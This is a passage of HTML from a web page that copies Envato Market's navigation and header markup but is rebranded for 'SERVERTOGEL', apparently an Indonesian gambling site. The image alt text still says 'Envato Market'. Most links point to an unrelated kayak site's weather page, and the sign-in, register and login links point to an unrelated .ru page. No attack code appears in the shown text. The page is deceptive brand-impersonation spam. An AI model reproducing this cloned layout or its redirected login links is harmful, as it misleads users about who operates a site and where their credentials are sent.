  4031.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Top New
  4032.                                    Files</a>
  4033.                            </li>
  4034.                            <li>
  4035.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Follow Feed</a>
  4036.                            </li>
  4037.                            <li>
  4038.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Top Authors</a>
  4039.                            </li>
  4040.                            <li>
  4041.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Top New
  4042.                                    Authors</a>
  4043.                            </li>
  4044.                            <li>
  4045.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Public
  4046.                                    Collections</a>
  4047.                            </li>
  4048.                            <li>
  4049.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">View All
  4050.                                    Categories</a>
  4051.                            </li>
  4052.                        </ul>
  4053.                    </li>
  4054.                    <li>
  4055.                        <a class="off-canvas-category-link" data-view="dropdown" data-dropdown-target="#off-canvas-wordpress" href="https://www.missourikayakadventures.com/weather">WordPress
  4056.                        </a>
  4057.                        <ul class="is-hidden" id="off-canvas-wordpress">
  4058.                            <li>
  4059.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Show all
  4060.                                    WordPress</a>
  4061.                            </li>
  4062.                            <li>
  4063.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Popular
  4064.                                    Items</a>
  4065.                            </li>
  4066.                            <li>
  4067.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Blog /
  4068.                                    Magazine</a>
  4069.                            </li>
  4070.                            <li>
  4071.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">BuddyPress</a>
  4072.                            </li>
  4073.                            <li>
  4074.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Corporate</a>
  4075.                            </li>
  4076.                            <li>
  4077.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Creative</a>
  4078.                            </li>
  4079.                            <li>
  4080.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Directory &amp;Listings</a>
  4081.                            </li>
  4082.                            <li>
  4083.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">eCommerce</a>
  4084.                            </li>
  4085.                            <li>
  4086.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Education</a>
  4087.                            </li>
  4088.                            <li>
  4089.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Elementor</a>
  4090.                            </li>
  4091.                            <li>
  4092.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Entertainment</a>
  4093.                            </li>
  4094.                            <li>
  4095.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Mobile</a>
  4096.                            </li>
  4097.                            <li>
  4098.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Nonprofit</a>
  4099.                            </li>
  4100.                            <li>
  4101.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Real
  4102.                                    Estate</a>
  4103.                            </li>
  4104.                            <li>
  4105.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Retail</a>
  4106.                            </li>
  4107.                            <li>
  4108.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Technology</a>
  4109.                            </li>
  4110.                            <li>
  4111.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Wedding</a>
  4112.                            </li>
  4113.                            <li>
  4114.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Miscellaneous</a>
  4115.                            </li>
  4116.                            <li>
  4117.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">WordPress
  4118.                                    Plugins</a>
  4119.                            </li>
  4120.                        </ul>
  4121.                    </li>
  4122.                    <li>
  4123.                        <a class="off-canvas-category-link" data-view="dropdown" data-dropdown-target="#off-canvas-elementor" href="https://www.missourikayakadventures.com/weather">Elementor
  4124.                        </a>
  4125.                        <ul class="is-hidden" id="off-canvas-elementor">
  4126.                            <li>
  4127.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Template
  4128.                                    Kits</a>
  4129.                            </li>
  4130.                            <li>
  4131.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Plugins</a>
  4132.                            </li>
  4133.                            <li>
  4134.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Themes</a>
  4135.                            </li>
  4136.                        </ul>
  4137.                    </li>
  4138.                    <li>
  4139.                        <a class="off-canvas-category-link--empty" href="https://www.missourikayakadventures.com/weather">Hosting
  4140.                        </a>
  4141.                    </li>
  4142.                    <li>
  4143.                        <a class="off-canvas-category-link" data-view="dropdown" data-dropdown-target="#off-canvas-html" href="https://www.missourikayakadventures.com/weather">HTML
  4144.                        </a>
  4145.                        <ul class="is-hidden" id="off-canvas-html">
  4146.                            <li>
  4147.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Show all
  4148.                                    HTML</a>
  4149.                            </li>
  4150.                            <li>
  4151.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Popular
  4152.                                    Items</a>
  4153.                            </li>
  4154.                            <li>
  4155.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Admin
  4156.                                    Templates</a>
  4157.                            </li>
  4158.                            <li>
  4159.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Corporate</a>
  4160.                            </li>
  4161.                            <li>
  4162.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Creative</a>
  4163.                            </li>
  4164.                            <li>
  4165.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Entertainment</a>
  4166.                            </li>
  4167.                            <li>
  4168.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Mobile</a>
  4169.                            </li>
  4170.                            <li>
  4171.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Nonprofit</a>
  4172.                            </li>
  4173.                            <li>
  4174.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Personal</a>
  4175.                            </li>
  4176.                            <li>
  4177.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Retail</a>
  4178.                            </li>
  4179.                            <li>
  4180.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Specialty
  4181.                                    Pages</a>
  4182.                            </li>
  4183.                            <li>
  4184.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Technology</a>
  4185.                            </li>
  4186.                            <li>
  4187.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Wedding</a>
  4188.                            </li>
  4189.                            <li>
  4190.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Miscellaneous</a>
  4191.                            </li>
  4192.                        </ul>
  4193.                    </li>
  4194.                    <li>
  4195.                        <a class="off-canvas-category-link" data-view="dropdown" data-dropdown-target="#off-canvas-shopify" href="https://www.missourikayakadventures.com/weather">Shopify
  4196.                        </a>
  4197.                        <ul class="is-hidden" id="off-canvas-shopify">
  4198.                            <li>
  4199.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Show all
  4200.                                    Shopify</a>
  4201.                            </li>
  4202.                            <li>
  4203.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Popular
  4204.                                    Items</a>
  4205.                            </li>
  4206.                            <li>
  4207.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Fashion</a>
  4208.                            </li>
  4209.                            <li>
  4210.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Shopping</a>
  4211.                            </li>
  4212.                            <li>
  4213.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Health &amp;Beauty</a>
  4214.                            </li>
  4215.                            <li>
  4216.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Technology</a>
  4217.                            </li>
  4218.                            <li>
  4219.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Entertainment</a>
  4220.                            </li>
  4221.                            <li>
  4222.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Miscellaneous</a>
  4223.                            </li>
  4224.                        </ul>
  4225.                    </li>
  4226.                    <li>
  4227.                        <a class="off-canvas-category-link--empty" href="https://www.missourikayakadventures.com/weather">Jamstack
  4228.                        </a>
  4229.                    </li>
  4230.                    <li>
  4231.                        <a class="off-canvas-category-link" data-view="dropdown" data-dropdown-target="#off-canvas-marketing" href="https://www.missourikayakadventures.com/weather">Marketing
  4232.                        </a>
  4233.                        <ul class="is-hidden" id="off-canvas-marketing">
  4234.                            <li>
  4235.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Show all
  4236.                                    Marketing</a>
  4237.                            </li>
  4238.                            <li>
  4239.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Popular
  4240.                                    Items</a>
  4241.                            </li>
  4242.                            <li>
  4243.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Email
  4244.                                    Templates</a>
  4245.                            </li>
  4246.                            <li>
  4247.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Landing
  4248.                                    Pages</a>
  4249.                            </li>
  4250.                            <li>
  4251.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Unbounce Landing
  4252.                                    Pages</a>
  4253.                            </li>
  4254.                        </ul>
  4255.                    </li>
  4256.                    <li>
  4257.                        <a class="off-canvas-category-link" data-view="dropdown" data-dropdown-target="#off-canvas-cms" href="https://www.missourikayakadventures.com/weather">CMS
  4258.                        </a>
  4259.                        <ul class="is-hidden" id="off-canvas-cms">
  4260.                            <li>
  4261.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Show all CMS</a>
  4262.                            </li>
  4263.                            <li>
  4264.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Popular
  4265.                                    Items</a>
  4266.                            </li>
  4267.                            <li>
  4268.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Concrete5</a>
  4269.                            </li>
  4270.                            <li>
  4271.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Drupal</a>
  4272.                            </li>
  4273.                            <li>
  4274.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">HubSpot CMS
  4275.                                    Hub</a>
  4276.                            </li>
  4277.                            <li>
  4278.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Joomla</a>
  4279.                            </li>
  4280.                            <li>
  4281.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">MODX
  4282.                                    Themes</a>
  4283.                            </li>
  4284.                            <li>
  4285.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Moodle</a>
  4286.                            </li>
  4287.                            <li>
  4288.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Webflow</a>
  4289.                            </li>
  4290.                            <li>
  4291.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Weebly</a>
  4292.                            </li>
  4293.                            <li>
  4294.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Miscellaneous</a>
  4295.                            </li>
  4296.                        </ul>
  4297.                    </li>
  4298.                    <li>
  4299.                        <a class="off-canvas-category-link" data-view="dropdown" data-dropdown-target="#off-canvas-ecommerce" href="https://www.missourikayakadventures.com/weather">eCommerce
  4300.                        </a>
  4301.                        <ul class="is-hidden" id="off-canvas-ecommerce">
  4302.                            <li>
  4303.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Show all
  4304.                                    eCommerce</a>
  4305.                            </li>
  4306.                            <li>
  4307.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Popular
  4308.                                    Items</a>
  4309.                            </li>
  4310.                            <li>
  4311.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">WooCommerce</a>
  4312.                            </li>
  4313.                            <li>
  4314.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">BigCommerce</a>
  4315.                            </li>
  4316.                            <li>
  4317.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Drupal
  4318.                                    Commerce</a>
  4319.                            </li>
  4320.                            <li>
  4321.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Easy Digital
  4322.                                    Downloads</a>
  4323.                            </li>
  4324.                            <li>
  4325.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Ecwid</a>
  4326.                            </li>
  4327.                            <li>
  4328.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Magento</a>
  4329.                            </li>
  4330.                            <li>
  4331.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">OpenCart</a>
  4332.                            </li>
  4333.                            <li>
  4334.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">PrestaShop</a>
  4335.                            </li>
  4336.                            <li>
  4337.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Shopify</a>
  4338.                            </li>
  4339.                            <li>
  4340.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Ubercart</a>
  4341.                            </li>
  4342.                            <li>
  4343.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">VirtueMart</a>
  4344.                            </li>
  4345.                            <li>
  4346.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Zen
  4347.                                    Cart</a>
  4348.                            </li>
  4349.                            <li>
  4350.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Miscellaneous</a>
  4351.                            </li>
  4352.                        </ul>
  4353.                    </li>
  4354.                    <li>
  4355.                        <a class="off-canvas-category-link" data-view="dropdown" data-dropdown-target="#off-canvas-ui-templates" href="https://www.missourikayakadventures.com/weather">UI Templates
  4356.                        </a>
  4357.                        <ul class="is-hidden" id="off-canvas-ui-templates">
  4358.                            <li>
  4359.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Popular
  4360.                                    Items</a>
  4361.                            </li>
  4362.                            <li>
  4363.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Figma</a>
  4364.                            </li>
  4365.                            <li>
  4366.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Adobe
  4367.                                    XD</a>
  4368.                            </li>
  4369.                            <li>
  4370.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Photoshop</a>
  4371.                            </li>
  4372.                            <li>
  4373.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Sketch</a>
  4374.                            </li>
  4375.                        </ul>
  4376.                    </li>
  4377.                    <li>
  4378.                        <a class="off-canvas-category-link--empty" href="https://www.missourikayakadventures.com/weather">Plugins
  4379.                        </a>
  4380.                    </li>
  4381.                    <li>
  4382.                        <a class="off-canvas-category-link" data-view="dropdown" data-dropdown-target="#off-canvas-more" href="https://www.missourikayakadventures.com/weather">More
  4383.                        </a>
  4384.                        <ul class="is-hidden" id="off-canvas-more">
  4385.                            <li>
  4386.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Blogging</a>
  4387.                            </li>
  4388.                            <li>
  4389.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Courses</a>
  4390.                            </li>
  4391.                            <li>
  4392.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Facebook
  4393.                                    Templates</a>
  4394.                            </li>
  4395.                            <li>
  4396.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Free Elementor
  4397.                                    Templates</a>
  4398.                            </li>
  4399.                            <li>
  4400.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Free
  4401.                                    WordPress Themes</a>
  4402.                            </li>
  4403.                            <li>
  4404.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Forums</a>
  4405.                            </li>
  4406.                            <li>
  4407.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Ghost
  4408.                                    Themes</a>
  4409.                            </li>
  4410.                            <li>
  4411.                                <a class="off-canvas-category-link--sub" href="https://www.missourikayakadventures.com/weather">Tumblr</a>
  4412.                            </li>
  4413.                            <li>
  4414.                                <a class="off-canvas-category-link--sub external-link elements-nav__category-link" target="_blank" data-analytics-view-payload="{&quot;eventName&quot;:&quot;view_promotion&quot;,&quot;contextDetail&quot;:&quot;sub nav&quot;,&quot;ecommerce&quot;:{&quot;promotionId&quot;:&quot;Unlimited Creative Assets&quot;,&quot;promotionName&quot;:&quot;Unlimited Creative Assets&quot;,&quot;promotionType&quot;:&quot;elements referral&quot;}}" data-analytics-click-payload="{&quot;eventName&quot;:&quot;select_promotion&quot;,&quot;contextDetail&quot;:&quot;sub nav&quot;,&quot;ecommerce&quot;:{&quot;promotionId&quot;:&quot;Unlimited Creative Assets&quot;,&quot;promotionName&quot;:&quot;Unlimited Creative Assets&quot;,&quot;promotionType&quot;:&quot;elements referral&quot;}}" href="https://www.missourikayakadventures.com/weather">Unlimited
  4415.                                    Creative Assets</a>
  4416.                            </li>
  4417.                        </ul>
  4418.                    </li>
  4419.                    <li>
  4420.                        <a class="elements-nav__category-link external-link" target="_blank" data-analytics-view-payload="{&quot;eventName&quot;:&quot;view_promotion&quot;,&quot;contextDetail&quot;:&quot;site switcher&quot;,&quot;ecommerce&quot;:{&quot;promotionId&quot;:&quot;switcher_mobile_31JUL2024&quot;,&quot;promotionName&quot;:&quot;switcher_mobile_31JUL2024&quot;,&quot;promotionType&quot;:&quot;elements referral&quot;}}" data-analytics-click-payload="{&quot;eventName&quot;:&quot;select_promotion&quot;,&quot;contextDetail&quot;:&quot;site switcher&quot;,&quot;ecommerce&quot;:{&quot;promotionId&quot;:&quot;switcher_mobile_31JUL2024&quot;,&quot;promotionName&quot;:&quot;switcher_mobile_31JUL2024&quot;,&quot;promotionType&quot;:&quot;elements referral&quot;}}" href="https://www.missourikayakadventures.com/weather">Unlimited
  4421.                            Downloads</a>
  4422.                    </li>
  4423.                </ul>
  4424.            </div>
  4425.        </div>
  4426.        <div class="page__off-canvas--right overflow">
  4427.            <div class="off-canvas-right">
  4428.                <a class="off-canvas-right__link--cart" href="https://www.missourikayakadventures.com/weather">
  4429.                    Guest Cart
  4430.                    
  4431.                    <div class="shopping-cart-summary is-empty" data-view="cartCount">
  4432.                        <span class="js-cart-summary-count shopping-cart-summary__count">0</span>
  4433.                        <i class="e-icon -icon-cart"></i>
  4434.                    </div>
  4435.                </a>
  4436.                <a class="off-canvas-right__link" href="https://www.missourikayakadventures.com/weather">
  4437.                    Create an Envato Account
  4438.                    <i class="e-icon -icon-envato"></i>
  4439.                </a>
  4440.                <a class="off-canvas-right__link" href="https://rc-komi.ru/content/anakmamih.html">
  4441.                    Sign In
  4442.                    <i class="e-icon -icon-login"></i>
  4443.                </a>
  4444.            </div>
  4445.        </div>
  4446.        <div class="page__canvas">
  4447.            <div class="canvas">
  4448.                <div class="canvas__header">
  4449.                    <header class="site-header">
  4450.                        <div class="site-header__mini is-hidden-desktop">
  4451.                            <div class="header-mini">
  4452.                                <div class="header-mini__button--cart">
  4453.                                    <a class="btn btn--square" href="https://www.missourikayakadventures.com/weather">
  4454.                                        <svg width="14px" height="14px" viewBox="0 0 14 14" class="header-mini__button-cart-icon" xmlns="http://www.w3.org/2000/svg" aria-labelledby="title" role="img">
  4455.                                            <title>Cart</title>
  4456.                                            <path d="M 0.009 1.349 C 0.009 1.753 0.347 2.086 0.765 2.086 C 0.765 2.086 0.766 2.086 0.767 2.086 L 0.767 2.09 L 2.289 2.09 L 5.029 7.698 L 4.001 9.507 C 3.88 9.714 3.812 9.958 3.812 10.217 C 3.812 11.028 4.496 11.694 5.335 11.694 L 14.469 11.694 L 14.469 11.694 C 14.886 11.693 15.227 11.36 15.227 10.957 C 15.227 10.552 14.886 10.221 14.469 10.219 L 14.469 10.217 L 5.653 10.217 C 5.547 10.217 5.463 10.135 5.463 10.031 L 5.487 9.943 L 6.171 8.738 L 11.842 8.738 C 12.415 8.738 12.917 8.436 13.175 7.978 L 15.901 3.183 C 15.96 3.08 15.991 2.954 15.991 2.828 C 15.991 2.422 15.65 2.09 15.23 2.09 L 3.972 2.09 L 3.481 1.077 L 3.466 1.043 C 3.343 0.79 3.084 0.612 2.778 0.612 C 2.777 0.612 0.765 0.612 0.765 0.612 C 0.347 0.612 0.009 0.943 0.009 1.349 Z M 3.819 13.911 C 3.819 14.724 4.496 15.389 5.335 15.389 C 6.171 15.389 6.857 14.724 6.857 13.911 C 6.857 13.097 6.171 12.434 5.335 12.434 C 4.496 12.434 3.819 13.097 3.819 13.911 Z M 11.431 13.911 C 11.431 14.724 12.11 15.389 12.946 15.389 C 13.784 15.389 14.469 14.724 14.469 13.911 C 14.469 13.097 13.784 12.434 12.946 12.434 C 12.11 12.434 11.431 13.097 11.431 13.911 Z"></path>
  4457.                                        </svg>
  4458.                                        <span class="is-hidden">Cart</span>
  4459.                                        <span class="header-mini__button-cart-cart-amount is-hidden">0
  4460.                                        </span>
  4461.                                    </a>
  4462.                                </div>
  4463.                                <div class="header-mini__button--account">
  4464.                                    <a class="btn btn--square" data-view="offCanvasNavToggle" data-off-canvas="right" href="https://www.missourikayakadventures.com/weather">
  4465.                                        <i class="e-icon -icon-person"></i>
  4466.                                        <span class="is-hidden">Account</span>
  4467.                                    </a>
  4468.                                </div>
  4469.                                <div class="header-mini__button--categories">
  4470.                                    <a class="btn btn--square" data-view="offCanvasNavToggle" data-off-canvas="left" href="https://www.missourikayakadventures.com/weather">
  4471.                                        <i class="e-icon -icon-hamburger"></i>
  4472.                                        <span class="is-hidden">Sites, Search &amp;Categories</span>
  4473.                                    </a>
  4474.                                </div>
  4475.                                <div class="header-mini__logo">
  4476.                                    <a href="https://www.missourikayakadventures.com/weather">
  4477.                                        <img alt="SERVERTOGEL" src="https://i.gyazo.com/fbf2ab460be90e2d1c464b0992533621.png" style="height:40px; width:auto; display:inline-block;">
  4478.                                    </a>
  4479.                                </div>
  4480.                            </div>
  4481.                        </div>
  4482.                        <div class="global-header is-hidden-tablet-and-below">
  4483.                            <div class="grid-container -layout-wide">
  4484.                                <div class="global-header__wrapper">
  4485.                                    <a href="https://www.missourikayakadventures.com/weather">
  4486.                                        <img height="50" alt="Envato Market" class="global-header__logo" src="https://i.gyazo.com/fbf2ab460be90e2d1c464b0992533621.png">
  4487.                                    </a>
  4488.                                    <nav class="global-header-menu" role="navigation">
  4489.                                        <ul class="global-header-menu__list">
  4490.                                            <li class="global-header-menu__list-item">
  4491.                                                <a class="global-header-menu__link" href="https://www.missourikayakadventures.com/weather">
  4492.                                                    <span class="global-header-menu__link-text">SERVERTOGEL
  4493.                                                    </span>
  4494.                                                </a>
  4495.                                            </li>
  4496.                                            <li class="global-header-menu__list-item">
  4497.                                                <a class="global-header-menu__link" href="https://www.missourikayakadventures.com/weather">
  4498.                                                    <span class="global-header-menu__link-text">SERVERTOGEL LOGIN
  4499.                                                    </span>
  4500.                                                </a>
  4501.                                            </li>
  4502.                                            <li data-view="globalHeaderMenuDropdownHandler" class="global-header-menu__list-item--with-dropdown">
  4503.                                                <a data-lazy-load-trigger="mouseover" class="global-header-menu__link" href="https://rc-komi.ru/content/anakmamih.html">
  4504.                                                    <svg width="16px" height="16px" viewBox="0 0 16 16" class="global-header-menu__icon" xmlns="http://www.w3.org/2000/svg" aria-labelledby="title" role="img">
  4505.                                                        <title>Menu</title>
  4506.                                                        <path d="M3.5 2A1.5 1.5 0 0 1 5 3.5 1.5 1.5 0 0 1 3.5 5 1.5 1.5 0 0 1 2 3.5 1.5 1.5 0 0 1 3.5 2zM8 2a1.5 1.5 0 0 1 1.5 1.5A1.5 1.5 0 0 1 8 5a1.5 1.5 0 0 1-1.5-1.5A1.5 1.5 0 0 1 8 2zM12.5 2A1.5 1.5 0 0 1 14 3.5 1.5 1.5 0 0 1 12.5 5 1.5 1.5 0 0 1 11 3.5 1.5 1.5 0 0 1 12.5 2zM3.5 6.5A1.5 1.5 0 0 1 5 8a1.5 1.5 0 0 1-1.5 1.5A1.5 1.5 0 0 1 2 8a1.5 1.5 0 0 1 1.5-1.5zM8 6.5A1.5 1.5 0 0 1 9.5 8 1.5 1.5 0 0 1 8 9.5 1.5 1.5 0 0 1 6.5 8 1.5 1.5 0 0 1 8 6.5zM12.5 6.5A1.5 1.5 0 0 1 14 8a1.5 1.5 0 0 1-1.5 1.5A1.5 1.5 0 0 1 11 8a1.5 1.5 0 0 1 1.5-1.5zM3.5 11A1.5 1.5 0 0 1 5 12.5 1.5 1.5 0 0 1 3.5 14 1.5 1.5 0 0 1 2 12.5 1.5 1.5 0 0 1 3.5 11zM8 11a1.5 1.5 0 0 1 1.5 1.5A1.5 1.5 0 0 1 8 14a1.5 1.5 0 0 1-1.5-1.5A1.5 1.5 0 0 1 8 11zM12.5 11a1.5 1.5 0 0 1 1.5 1.5 1.5 1.5 0 0 1-1.5 1.5 1.5 1.5 0 0 1-1.5-1.5 1.5 1.5 0 0 1 1.5-1.5z"></path>
  4507.                                                    </svg>
  4508.                                                    <span class="global-header-menu__link-text">DAFTAR
  4509.                                                    </span>
  4510.                                                </a>
  4511.                                            </li>
  4512.                                            <li class="global-header-menu__list-item -background-light -border-radius">
  4513.                                                <a id="spec-link-cart" class="global-header-menu__link h-pr1" href="https://www.missourikayakadventures.com/weather">
  4514.                                                    <svg width="16px" height="16px" viewBox="0 0 16 16" class="global-header-menu__icon global-header-menu__icon-cart" xmlns="http://www.w3.org/2000/svg" aria-labelledby="title" role="img">
  4515.                                                        <title>Cart</title>
  4516.                                                        <path d="M 0.009 1.349 C 0.009 1.753 0.347 2.086 0.765 2.086 C 0.765 2.086 0.766 2.086 0.767 2.086 L 0.767 2.09 L 2.289 2.09 L 5.029 7.698 L 4.001 9.507 C 3.88 9.714 3.812 9.958 3.812 10.217 C 3.812 11.028 4.496 11.694 5.335 11.694 L 14.469 11.694 L 14.469 11.694 C 14.886 11.693 15.227 11.36 15.227 10.957 C 15.227 10.552 14.886 10.221 14.469 10.219 L 14.469 10.217 L 5.653 10.217 C 5.547 10.217 5.463 10.135 5.463 10.031 L 5.487 9.943 L 6.171 8.738 L 11.842 8.738 C 12.415 8.738 12.917 8.436 13.175 7.978 L 15.901 3.183 C 15.96 3.08 15.991 2.954 15.991 2.828 C 15.991 2.422 15.65 2.09 15.23 2.09 L 3.972 2.09 L 3.481 1.077 L 3.466 1.043 C 3.343 0.79 3.084 0.612 2.778 0.612 C 2.777 0.612 0.765 0.612 0.765 0.612 C 0.347 0.612 0.009 0.943 0.009 1.349 Z M 3.819 13.911 C 3.819 14.724 4.496 15.389 5.335 15.389 C 6.171 15.389 6.857 14.724 6.857 13.911 C 6.857 13.097 6.171 12.434 5.335 12.434 C 4.496 12.434 3.819 13.097 3.819 13.911 Z M 11.431 13.911 C 11.431 14.724 12.11 15.389 12.946 15.389 C 13.784 15.389 14.469 14.724 14.469 13.911 C 14.469 13.097 13.784 12.434 12.946 12.434 C 12.11 12.434 11.431 13.097 11.431 13.911 Z"></path>
  4517.                                                    </svg>
  4518.                                                    <span class="global-header-menu__link-cart-amount is-hidden" data-view="headerCartCount" data-test-id="header_cart_count">0</span>
  4519.                                                </a>
  4520.                                            </li>
  4521.                                            <li class="global-header-menu__list-item -background-light -border-radius">
  4522.                                                <a class="global-header-menu__link h-pl1" data-view="modalAjax" href="https://rc-komi.ru/content/anakmamih.html">
  4523.                                                    <span id="spec-user-username" class="global-header-menu__link-text">MASUK
  4524.                                                    </span>
  4525.                                                </a>
  4526.                                            </li>
  4527.                                        </ul>
  4528.                                    </nav>
  4529.                                </div>
  4530.                            </div>
  4531.                        </div>
  4532.                        <div class="site-header__sites is-hidden-tablet-and-below">
  4533.                            <div class="header-sites header-site-titles">
  4534.                                <div class="grid-container -layout-wide">
  4535.                                    <nav class="header-site-titles__container">
  4536.                                        <div class="header-site-titles__site">
  4537.                                            <a class="header-site-titles__link t-link is-active" alt="Web Templates" href="https://www.missourikayakadventures.com/weather">SERVERTOGEL</a>
  4538.                                        </div>
  4539.                                        <div class="header-site-titles__site">
  4540.                                            <a class="header-site-titles__link t-link" alt="Code" href="https://www.missourikayakadventures.com/weather">IDAMAN TOTO</a>
  4541.                                        </div>
  4542.                                        <div class="header-site-titles__site">
  4543.                                            <a class="header-site-titles__link t-link" alt="Video" href="https://www.missourikayakadventures.com/weather">SERVERTOGEL LOGIN</a>
  4544.                                        </div>
  4545.                                        <div class="header-site-titles__site">
  4546.                                            <a class="header-site-titles__link t-link" alt="Music" href="https://www.missourikayakadventures.com/weather">SITUS SERVERTOGEL</a>
  4547.                                        </div>
  4548.                                        <div class="header-site-titles__site">
